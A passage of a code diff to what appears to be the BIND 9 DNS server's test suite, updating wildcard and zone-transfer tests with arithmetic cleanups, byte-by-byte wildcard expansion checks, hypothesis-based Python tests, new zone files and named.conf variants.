 grep -i 'flags:.* ad[ ;]'  dig.out.ns3.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that returned NSEC3 wildcard non-existence proof for private zone validates ($n)"
 ret=0
 $DIG $DIGOPTS a b.wild.private.nsec3 @10.53.0.4 > dig.out.ns4.test$n || ret=1
 grep -i 'UDBSP4R8OUOT6HSO39VD8B5LMOSHRD5N\.private\.nsec3\..*NSEC3.*ASDRUIB7GO00OR92S5OUGI404LT27RNU' dig.out.ns4.test$n > /dev/null || ret=1
 grep -i 'flags:.* ad[ ;]'  dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking RFC 4592 responses ..."
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking RFC 4592: host3.example. QTYPE=MX, QCLASS=IN ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.1 host3.example. MX IN > dig.out.ns1.test$n || ret=1
@@ -152,18 +156,18 @@ grep '^host3.example..*IN.MX.10 host1.example.' dig.out.ns1.test$n > /dev/null |
 grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking RFC 4592: host3.example. QTYPE=A, QCLASS=IN ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.1 host3.example. A IN > dig.out.ns1.test$n || ret=1
 grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking RFC 4592: foo.bar.example. QTYPE=TXT, QCLASS=IN ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.1 foo.bar.example TXT IN > dig.out.ns1.test$n || ret=1
@@ -171,45 +175,45 @@ grep '^foo.bar.example..*IN.TXT."this is a wildcard"' dig.out.ns1.test$n > /dev/
 grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking RFC 4592: host1.example. QTYPE=MX, QCLASS=IN ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.1 host1.example MX IN > dig.out.ns1.test$n || ret=1
 grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking RFC 4592: host1.example. QTYPE=MX, QCLASS=IN ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.1 host1.example MX IN > dig.out.ns1.test$n || ret=1
 grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking RFC 4592: sub.*.example. QTYPE=MX, QCLASS=IN ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.1 "sub.*.example." MX IN > dig.out.ns1.test$n || ret=1
 grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking RFC 4592: _telnet._tcp.host1.example. QTYPE=SRV, QCLASS=IN ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.1 _telnet._tcp.host1.example. SRV IN > dig.out.ns1.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns1.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking RFC 4592: host.subdel.example. QTYPE=A, QCLASS=IN ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.1 host.subdel.example A IN > dig.out.ns1.test$n || ret=1
@@ -219,25 +223,60 @@ grep "AUTHORITY: 2," dig.out.ns1.test$n > /dev/null || ret=1
 grep "subdel.example..*IN.NS.ns.example.com." dig.out.ns1.test$n > /dev/null || ret=1
 grep "subdel.example..*IN.NS.ns.example.net." dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking RFC 4592: ghost.*.example. QTYPE=MX, QCLASS=IN ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.1 "ghost.*.example" MX IN > dig.out.ns1.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns1.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking RFC 4592: _foo._udp.bar.example. QTYPE=SRV, QCLASS=IN ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.1 "_foo._udp.bar.example" SRV IN > dig.out.ns1.test$n || ret=1
 grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "check wild card expansions by code point ($n)"
+ret=0
+i=0
+while test $i -lt 256
+do
+	x=$(expr 00$i : '.*\(...\)$' || true)
+	$DIG $DIGOPTS @10.53.0.1 "\\$x.example" TXT > dig.out.ns1.$x.test$n
+	if test $i -le 32 -o $i -ge 127
+	then
+		grep '^\\'"$x"'\.example\..*TXT.*"this is a wildcard"$' dig.out.ns1.$x.test$n > /dev/null || { echo_i "code point $x failed" ; ret=1; }
+        # "=34 $=36 (=40 )=41 .=46 ;=59 \=92 @=64
+	elif test $i -eq 34 -o $i -eq 36 -o $i -eq 40 -o $i -eq 41 -o \
+                  $i -eq 46 -o $i -eq 59 -o $i -eq 64 -o $i -eq 92
+	then
+		case $i in
+		34) a='"';;
+		36) a='$';;
+		40) a='(';;
+		41) a=')';;
+		46) a='\.';;
+		59) a=';';;
+		64) a='@';;
+		92) a='\\';;
+		*) a=''; echo_i "code point $x failed" ; ret=1 ;;
+		esac
+		grep '^\\'"$a"'\.example.*.*TXT.*"this is a wildcard"$' dig.out.ns1.$x.test$n > /dev/null || { echo_i "code point $x failed" ; ret=1; }
+	else
+		grep '^\\' dig.out.ns1.$x.test$n && { echo_i "code point $x failed" ; ret=1; }
+	fi
+	i=$((i + 1))
+done
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/wildcard/tests_sh_wildcard.py b/bin/tests/system/wildcard/tests_sh_wildcard.py
new file mode 100644
index 0000000000..89a9fef605
--- /dev/null
+++ b/bin/tests/system/wildcard/tests_sh_wildcard.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_wildcard(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/wildcard/tests_wildcard.py b/bin/tests/system/wildcard/tests_wildcard.py
new file mode 100755
index 0000000000..d73fd28cd6
--- /dev/null
+++ b/bin/tests/system/wildcard/tests_wildcard.py
@@ -0,0 +1,119 @@
+#!/usr/bin/python3
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+"""
+Example property-based test for wildcard synthesis.
+Verifies that otherwise-empty zone with single wildcard record * A 192.0.2.1
+produces synthesized answers for <random_label>.test. A, and returns NODATA for
+<random_label>.test. when rdtype is not A.
+
+Limitations - untested properties:
+    - expansion works with multiple labels
+    - asterisk in qname does not cause expansion
+    - empty non-terminals prevent expansion
+    - or more generally any existing node prevents expansion
+    - DNSSEC record inclusion
+    - possibly others, see RFC 4592 and company
+    - content of authority & additional sections
+    - flags beyond RCODE
+    - special behavior of rdtypes like CNAME
+"""
+import pytest
+
+pytest.importorskip("dns")
+import dns.message
+import dns.name
+import dns.query
+import dns.rcode
+import dns.rdataclass
+import dns.rdatatype
+import dns.rrset
+
+# in FIPs mode md5 fails so we need 4.41.2 or later which does not use md5
+try:
+    import hashlib
+
+    hashlib.md5(b"1234")
+    pytest.importorskip("hypothesis")
+except ValueError:
+    pytest.importorskip("hypothesis", minversion="4.41.2")
+from hypothesis import given
+from hypothesis.strategies import binary, integers
+
+
+# labels of a zone with * A 192.0.2.1 wildcard
+WILDCARD_ZONE = ("allwild", "test", "")
+WILDCARD_RDTYPE = dns.rdatatype.A
+WILDCARD_RDATA = "192.0.2.1"
+IPADDR = "10.53.0.1"
+TIMEOUT = 5  # seconds, just a sanity check
+
+
+# Helpers
+def is_nonexpanding_rdtype(rdtype):
+    """skip meta types to avoid weird rcodes caused by AXFR etc.; RFC 6895"""
+    return not (
+        rdtype == WILDCARD_RDTYPE
+        or dns.rdatatype.is_metatype(rdtype)  # known metatypes: OPT ...
+        or 128 <= rdtype <= 255
+    )  # unknown meta types
+
+
+def tcp_query(where, port, qname, qtype):
+    querymsg = dns.message.make_query(qname, qtype)
+    assert len(querymsg.question) == 1
+    return querymsg, dns.query.tcp(querymsg, where, port=port, timeout=TIMEOUT)
+
+
+def query(where, port, label, rdtype):
+    labels = (label,) + WILDCARD_ZONE
+    qname = dns.name.Name(labels)
+    return tcp_query(where, port, qname, rdtype)
+
+
+# Tests
+@given(
+    label=binary(min_size=1, max_size=63),
+    rdtype=integers(min_value=0, max_value=65535).filter(is_nonexpanding_rdtype),
+)
+def test_wildcard_rdtype_mismatch(label, rdtype, named_port):
+    """any label non-matching rdtype must result in to NODATA"""
+    check_answer_nodata(*query(IPADDR, named_port, label, rdtype))
+
+
+def check_answer_nodata(querymsg, answer):
+    assert querymsg.is_response(answer), str(answer)
+    assert answer.rcode() == dns.rcode.NOERROR, str(answer)
+    assert answer.answer == [], str(answer)
+
+
+@given(label=binary(min_size=1, max_size=63))
+def test_wildcard_match(label, named_port):
+    """any label with maching rdtype must result in wildcard data in answer"""
+    check_answer_noerror(*query(IPADDR, named_port, label, WILDCARD_RDTYPE))
+
+
+def check_answer_noerror(querymsg, answer):
+    assert querymsg.is_response(answer), str(answer)
+    assert answer.rcode() == dns.rcode.NOERROR, str(answer)
+    assert len(querymsg.question) == 1, str(answer)
+    expected_answer = [
+        dns.rrset.from_text(
+            querymsg.question[0].name,
+            300,  # TTL, ignored by dnspython comparison
+            dns.rdataclass.IN,
+            WILDCARD_RDTYPE,
+            WILDCARD_RDATA,
+        )
+    ]
+    assert answer.answer == expected_answer, str(answer)
diff --git a/bin/tests/system/xfer/axfr-stats.good b/bin/tests/system/xfer/axfr-stats.good
index 264af09705..616854e646 100644
--- a/bin/tests/system/xfer/axfr-stats.good
+++ b/bin/tests/system/xfer/axfr-stats.good
@@ -1,3 +1,3 @@
 messages=16
 records=10003
-bytes=218227
+bytes=218403
diff --git a/bin/tests/system/xfer/clean.sh b/bin/tests/system/xfer/clean.sh
index 9d9f02a4af..effdda8a92 100644
--- a/bin/tests/system/xfer/clean.sh
+++ b/bin/tests/system/xfer/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -22,10 +24,11 @@ rm -f axfr.out
 rm -f dig.out.*
 rm -f ns*/managed-keys.bind*
 rm -f ns*/named.lock
+rm -f ns1/dot-fallback.db
 rm -f ns1/edns-expire.db
 rm -f ns1/ixfr-too-big.db ns1/ixfr-too-big.db.jnl
 rm -f ns1/sec.db ns2/sec.db
-rm -f ns2/example.db ns2/tsigzone.db ns2/example.db.jnl
+rm -f ns2/example.db ns2/tsigzone.db ns2/example.db.jnl ns2/dot-fallback.db
 rm -f ns2/mapped.db
 rm -f ns3/example.bk ns3/xfer-stats.bk ns3/tsigzone.bk ns3/example.bk.jnl
 rm -f ns3/mapped.bk
@@ -35,3 +38,4 @@ rm -f ns6/*.db ns6/*.bk ns6/*.jnl
 rm -f ns7/*.db ns7/*.bk ns7/*.jnl
 rm -f ns8/large.db ns8/small.db
 rm -f stats.*
+rm -f wait_for_message.*
diff --git a/bin/tests/system/xfer/dig1.good b/bin/tests/system/xfer/dig1.good
index 0f8fad0f31..9fa5437d38 100644
--- a/bin/tests/system/xfer/dig1.good
+++ b/bin/tests/system/xfer/dig1.good
@@ -59,6 +59,8 @@ hinfo01.example.	3600	IN	HINFO	"Generic PC clone" "NetBSD-1.4"
 hinfo02.example.	3600	IN	HINFO	"PC" "NetBSD"
 hip1.example.		3600	IN	HIP	2 200100107B1A74DF365639CC39F1D578 AwEAAbdxyhNuSutc5EMzxTs9LBPCIkOFH8cIvM4p9+LrV4e19WzK00+CI6zBCQTdtWsuxKbWIy87UOoJTwkUs7lBu+Upr1gsNrut79ryra+bSRGQb1slImA8YVJyuIDsj7kwzG7jnERNqnWxZ48AWkskmdHaVDP4BcelrTI3rMXdXF5D
 hip2.example.		3600	IN	HIP	2 200100107B1A74DF365639CC39F1D578 AwEAAbdxyhNuSutc5EMzxTs9LBPCIkOFH8cIvM4p9+LrV4e19WzK00+CI6zBCQTdtWsuxKbWIy87UOoJTwkUs7lBu+Upr1gsNrut79ryra+bSRGQb1slImA8YVJyuIDsj7kwzG7jnERNqnWxZ48AWkskmdHaVDP4BcelrTI3rMXdXF5D rvs.example.com.
+https0.example.		3600	IN	HTTPS 0 example.net.
+https1.example.		3600	IN	HTTPS 1 . port=60
 ipseckey01.example.	3600	IN	IPSECKEY  10 1 2 192.0.2.38 AQNRU3mG7TVTO2BkR47usntb102uFJtugbo6BSGvgqt4AQ==
 ipseckey02.example.	3600	IN	IPSECKEY  10 0 2 . AQNRU3mG7TVTO2BkR47usntb102uFJtugbo6BSGvgqt4AQ==
 ipseckey03.example.	3600	IN	IPSECKEY  10 1 2 192.0.2.3 AQNRU3mG7TVTO2BkR47usntb102uFJtugbo6BSGvgqt4AQ==
@@ -137,6 +139,8 @@ sink02.example.		3600	IN	SINK	8 0 2 l4ik
 smimea.example.		3600	IN	SMIMEA	1 1 2 92003BA34942DC74152E2F2C408D29ECA5A520E7F2E06BB944F4DCA3 46BAF63C1B177615D466F6C4B71C216A50292BD58C9EBDD2F74E38FE 51FFD48C43326CBC
 srv01.example.		3600	IN	SRV	0 0 0 .
 srv02.example.		3600	IN	SRV	65535 65535 65535 old-slow-box.example.
+svcb0.example.		3600	IN	SVCB	0 example.net.
+svcb1.example.		3600	IN	SVCB	1 . port=60
 ta.example.		3600	IN	TA	30795 1 1 310D27F4D82C1FC2400704EA9939FE6E1CEAA3B9
 talink0.example.	3600	IN	TALINK	. talink1.example.
 talink1.example.	3600	IN	TALINK	talink0.example. talink2.example.
diff --git a/bin/tests/system/xfer/dig2.good b/bin/tests/system/xfer/dig2.good
index fed8926817..2229f9ce7a 100644
--- a/bin/tests/system/xfer/dig2.good
+++ b/bin/tests/system/xfer/dig2.good
@@ -69,6 +69,8 @@ isdn04.example.		3600	IN	ISDN	"isdn-address" "subaddress"
 hip1.example.		3600	IN	HIP	2 200100107B1A74DF365639CC39F1D578 AwEAAbdxyhNuSutc5EMzxTs9LBPCIkOFH8cIvM4p9+LrV4e19WzK00+CI6zBCQTdtWsuxKbWIy87UOoJTwkUs7lBu+Upr1gsNrut79ryra+bSRGQb1slImA8YVJyuIDsj7kwzG7jnERNqnWxZ48AWkskmdHaVDP4BcelrTI3rMXdXF5D
 hip2.example.		3600	IN 	HIP	2 200100107B1A74DF365639CC39F1D578 AwEAAbdxyhNuSutc5EMzxTs9LBPCIkOFH8cIvM4p9+LrV4e19WzK00+CI6zBCQTdtWsuxKbWIy87UOoJTwkUs7lBu+Upr1gsNrut79ryra+bSRGQb1slImA8YVJyuIDsj7kwzG7jnERNqnWxZ48AWkskmdHaVDP4BcelrTI3rMXdXF5D rvs.example.com.
 dnskey01.example.	3600	IN	DNSKEY	512 255 1 AQMFD5raczCJHViKtLYhWGz8hMY9UGRuniJDBzC7w0aRyzWZriO6i2od GWWQVucZqKVsENW91IOW4vqudngPZsY3GvQ/xVA8/7pyFj6b7Esga60z yGW6LFe9r8n6paHrlG5ojqf0BaqHT+8=
+https0.example.		3600	IN	HTTPS 0 example.net.
+https1.example.		3600	IN	HTTPS 1 . port=60
 keydata.example.	3600	IN	TYPE65533 \# 0
 keydata.example.	3600	IN	TYPE65533 \# 6 010203040506
 keydata.example.	3600	IN	TYPE65533 \# 18 010203040506010203040506010203040506
@@ -137,6 +139,8 @@ srv01.example.		3600	IN	SRV	0 0 0 .
 srv02.example.		3600	IN	SRV	65535 65535 65535 old-slow-box.example.
 sshfp01.example.	3600	IN	SSHFP	4 2 C76D8329954DA2835751E371544E963EFDA099080D6C58DD2BFD9A31 6E162C83
 sshfp02.example.	3600	IN	SSHFP	1 2 BF29468C83AC58CCF8C85AB7B3BEB054ECF1E38512B8353AB36471FA 88961DCC
+svcb0.example.		3600	IN	SVCB	0 example.net.
+svcb1.example.		3600	IN	SVCB	1 . port=60
 ta.example.		3600	IN	TA	30795 1 1 310D27F4D82C1FC2400704EA9939FE6E1CEAA3B9
 talink0.example.	3600	IN	TALINK	. talink1.example.
 talink1.example.	3600	IN	TALINK	talink0.example. talink2.example.
diff --git a/bin/tests/system/xfer/dig3.good b/bin/tests/system/xfer/dig3.good
new file mode 100644
index 0000000000..d58c4216a3
--- /dev/null
+++ b/bin/tests/system/xfer/dig3.good
@@ -0,0 +1,6 @@
+dot-fallback.		5	IN	SOA	ns1.dot-fallback. hostmaster.dot-fallback. 1 3600 3600 3600 3600
+dot-fallback.		5	IN	NS	ns1.dot-fallback.
+a01.dot-fallback.	5	IN	A	1.1.1.1
+a02.dot-fallback.	5	IN	A	255.255.255.255
+ns1.dot-fallback.	5	IN	A	10.53.0.1
+dot-fallback.		5	IN	SOA	ns1.dot-fallback. hostmaster.dot-fallback. 1 3600 3600 3600 3600
diff --git a/bin/tests/system/xfer/ns1/axfr-max-idle-time.db b/bin/tests/system/xfer/ns1/axfr-max-idle-time.db
new file mode 100644
index 0000000000..252925f8dc
--- /dev/null
+++ b/bin/tests/system/xfer/ns1/axfr-max-idle-time.db
@@ -0,0 +1,15 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL	3600
+@	IN	SOA	. . 0 0 0 0 0
+@	IN	NS	.
+$GENERATE 1-5000	host$	TXT	data-$
diff --git a/bin/tests/system/xfer/ns1/axfr-max-transfer-time.db b/bin/tests/system/xfer/ns1/axfr-max-transfer-time.db
new file mode 100644
index 0000000000..252925f8dc
--- /dev/null
+++ b/bin/tests/system/xfer/ns1/axfr-max-transfer-time.db
@@ -0,0 +1,15 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL	3600
+@	IN	SOA	. . 0 0 0 0 0
+@	IN	NS	.
+$GENERATE 1-5000	host$	TXT	data-$
diff --git a/bin/tests/system/xfer/ns1/axfr-too-big.db b/bin/tests/system/xfer/ns1/axfr-too-big.db
index ff6e4b965a..37987a6447 100644
--- a/bin/tests/system/xfer/ns1/axfr-too-big.db
+++ b/bin/tests/system/xfer/ns1/axfr-too-big.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/xfer/ns1/dot-fallback.db.in b/bin/tests/system/xfer/ns1/dot-fallback.db.in
new file mode 100644
index 0000000000..997f5baf87
--- /dev/null
+++ b/bin/tests/system/xfer/ns1/dot-fallback.db.in
@@ -0,0 +1,19 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 5
+
+@			IN SOA	ns1 hostmaster 1 3600 3600 3600 3600
+@			NS	ns1
+ns1			A	10.53.0.1
+a01			A	1.1.1.1
+a02			A	255.255.255.255
+
diff --git a/bin/tests/system/xfer/ns1/ixfr-too-big.db.in b/bin/tests/system/xfer/ns1/ixfr-too-big.db.in
index 7372793e1f..c192316f91 100644
--- a/bin/tests/system/xfer/ns1/ixfr-too-big.db.in
+++ b/bin/tests/system/xfer/ns1/ixfr-too-big.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/xfer/ns1/named.conf.in b/bin/tests/system/xfer/ns1/named.conf.in
deleted file mode 100644
index 4b3156ca95..0000000000
--- a/bin/tests/system/xfer/ns1/named.conf.in
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-include "../../common/rndc.key";
-
-controls {
-	inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
-};
-
-options {
-	query-source address 10.53.0.1;
-	notify-source 10.53.0.1;
-	transfer-source 10.53.0.1;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on { 10.53.0.1; };
-	listen-on-v6 { none; };
-	recursion no;
-	notify yes;
-};
-
-zone "." {
-	type primary;
-	file "root.db";
-};
-
-zone "secondary" {
-	type primary;
-	file "sec.db";
-};
-
-zone "edns-expire" {
-	type primary;
-	file "edns-expire.db";
-};
-
-zone "axfr-too-big" {
-	type primary;
-	file "axfr-too-big.db";
-};
-
-zone "ixfr-too-big" {
-	type primary;
-	allow-update { any; };
-	file "ixfr-too-big.db";
-};
-
-zone "xfer-stats" {
-	type primary;
-	file "xfer-stats.db";
-};
diff --git a/bin/tests/system/xfer/ns1/named1.conf.in b/bin/tests/system/xfer/ns1/named1.conf.in
new file mode 100644
index 0000000000..10d670f53e
--- /dev/null
+++ b/bin/tests/system/xfer/ns1/named1.conf.in
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+include "../../common/rndc.key";
+
+controls {
+	inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+options {
+	query-source address 10.53.0.1;
+	notify-source 10.53.0.1;
+	transfer-source 10.53.0.1;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.1; };
+	listen-on-v6 { none; };
+	recursion no;
+	dnssec-validation no;
+	notify yes;
+};
+
+zone "." {
+	type primary;
+	file "root.db";
+};
+
+zone "secondary" {
+	type primary;
+	allow-transfer { 10.53.0.1; 10.53.0.2; 10.53.0.6; 10.53.0.7; };
+	file "sec.db";
+};
+
+zone "edns-expire" {
+	type primary;
+	file "edns-expire.db";
+};
+
+zone "axfr-max-transfer-time" {
+	type primary;
+	file "axfr-max-transfer-time.db";
+};
+
+zone "axfr-max-idle-time" {
+	type primary;
+	file "axfr-max-idle-time.db";
+};
+
+zone "axfr-too-big" {
+	type primary;
+	file "axfr-too-big.db";
+};
+
+zone "ixfr-too-big" {
+	type primary;
+	allow-update { any; };
+	file "ixfr-too-big.db";
+};
+
+zone "xfer-stats" {
+	type primary;
+	file "xfer-stats.db";
+};
+
+zone "dot-fallback" {
+	type primary;
+	file "dot-fallback.db";
+};
diff --git a/bin/tests/system/xfer/ns1/named2.conf.in b/bin/tests/system/xfer/ns1/named2.conf.in
new file mode 100644
index 0000000000..b349c33934
--- /dev/null
+++ b/bin/tests/system/xfer/ns1/named2.conf.in
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+include "../../common/rndc.key";
+
+controls {
+	inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+options {
+	query-source address 10.53.0.1;
+	notify-source 10.53.0.1;
+	transfer-source 10.53.0.1;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.1; };
+	listen-on-v6 { none; };
+	recursion no;
+	dnssec-validation no;
+	notify yes;
+};
+
+zone "." {
+	type primary;
+	file "root.db";
+};
+
+zone "axfr-max-transfer-time" {
+	type primary;
+	file "axfr-max-transfer-time.db";
+};
diff --git a/bin/tests/system/xfer/ns1/named3.conf.in b/bin/tests/system/xfer/ns1/named3.conf.in
new file mode 100644
index 0000000000..05af9614cb
--- /dev/null
+++ b/bin/tests/system/xfer/ns1/named3.conf.in
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+include "../../common/rndc.key";
+
+controls {
+	inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+options {
+	query-source address 10.53.0.1;
+	notify-source 10.53.0.1;
+	transfer-source 10.53.0.1;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.1; };
+	listen-on-v6 { none; };
+	recursion no;
+	dnssec-validation no;
+	notify yes;
+};
+
+zone "." {
+	type primary;
+	file "root.db";
+};
+
+zone "axfr-max-idle-time" {
